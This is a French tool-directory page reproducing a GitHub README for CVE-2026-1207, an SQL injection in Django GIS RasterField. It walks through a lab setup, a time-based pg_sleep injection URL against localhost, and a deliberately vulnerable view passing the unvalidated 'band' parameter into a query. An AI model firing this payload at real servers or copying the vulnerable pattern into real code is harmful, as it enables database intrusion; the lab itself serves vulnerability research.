Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-1207 — Dans le framework Django, lors de l'utilisation de PostGIS pour interroger des données raster géographiques, l'utilisation directe d'entrées utilisateur non validées en tant que paramètre d'index de bande (band index) peut entraîner une injection SQL. | Kitploit
Outils/GitHubGitHub/sw0rd1ight/cve-2026-1207
Analyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubsw0rd1ight/cve-2026-1207

CVE-2026-1207

Dans le framework Django, lors de l'utilisation de PostGIS pour interroger des données raster géographiques, l'utilisation directe d'entrées utilisateur non validées en tant que paramètre d'index de bande (band index) peut entraîner une injection SQL.

Voir le dépôt
32il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-1207 Django GIS RasterField Injection SQL — Reproduction de la vulnérabilité

Aperçu de la vulnérabilité

Type de vulnérabilité : Injection SQL (SQL Injection) Composant concerné : django.contrib.gis RasterField

Lors de l'utilisation du RasterField de Django GIS pour effectuer des requêtes, le paramètre band est directement concaténé dans la requête SQL, ce qui entraîne une vulnérabilité d'injection SQL. Un attaquant peut injecter du code SQL arbitraire en construisant une valeur malveillante pour le paramètre band.

Structure du projet

root@kitploit:~
CVE-2026-1207/
├── .devcontainer/     # Configuration VSCode DevContainer
├── .vscode/           # Configuration VSCode
├── vuln/             # Application de démonstration de la vulnérabilité
│   ├── models.py     # Modèle contenant RasterField
│   ├── views.py      # Point de déclenchement de la vulnérabilité
│   └── migrations/   # Fichiers de migration de la base de données
├── web/              # Configuration du projet Django
├── manage.py
├── README.md

Démarrage de l'environnement

Ce projet de vulnérabilité est construit à l'aide du devcontainer de VSCode.

1️⃣ Ouvrir le projet

Ouvrez le répertoire racine du projet existant (contenant le dossier .devcontainer) avec VS Code.

2️⃣ Rouvrir dans le conteneur (construire le Dev Container)

Appuyez sur Ctrl+Shift+P (Windows/Linux) ou Cmd+Shift+P (Mac)

Saisissez Remote-Containers: Reopen in Container

VS Code lira la configuration .devcontainer et construira le conteneur (la première construction peut prendre quelques minutes)

⚠️ Si le Dockerfile ou les dépendances ont été mis à jour, vous pouvez choisir Remote-Containers: Rebuild Container pour garantir l'utilisation de l'environnement le plus récent.

3️⃣ Exécuter le serveur de développement Django

Ouvrez la palette de commandes Ctrl+Shift+P

Saisissez Tasks: Run Task

Sélectionnez django:start (la tâche est déjà configurée dans .vscode/tasks.json)

Cette tâche démarrera le serveur de développement Django dans le conteneur

Il écoute par défaut sur 0.0.0.0:8087

4️⃣ Ouvrir le navigateur pour accéder au projet

Ouvrez le navigateur et accédez à :

root@kitploit:~
http://localhost:8087

5️⃣ Remarques

La première exécution peut nécessiter l'application des migrations de la base de données :

root@kitploit:~
python manage.py migrate

Reproduction de la vulnérabilité

L'analyse détaillée de la vulnérabilité est publiée sur 先知 https://xz.aliyun.com/news/91993

Compte officiel WeChat https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A

POC : Injection avec délai

Accédez à l'URL suivante pour déclencher l'injection SQL :

root@kitploit:~
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--

Observez le temps de réponse : une requête normale doit renvoyer immédiatement, tandis que la requête injectée sera retardée d'environ 3 secondes.

Emplacement du code vulnérable

vuln/views.py:36

root@kitploit:~
def get(self, request: HttpRequest):
    band = request.GET.get("band", 1)  # ← entrée utilisateur non filtrée
    rast = GDALRaster(...)
    qs = RasterModel.objects.filter(rast__contains=(rast, band))  # ← band transmis directement à la requête
    print(qs.query)  # ← affiche la requête SQL générée
    qs.count()
    return HttpResponse("book app")

Requête SQL générée (après injection)

root@kitploit:~
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))

Avertissement

Ce projet est fourni à des fins de recherche en sécurité et d'éducation uniquement. Ne l'utilisez pas sur des systèmes non autorisés.

Télécharger l’outil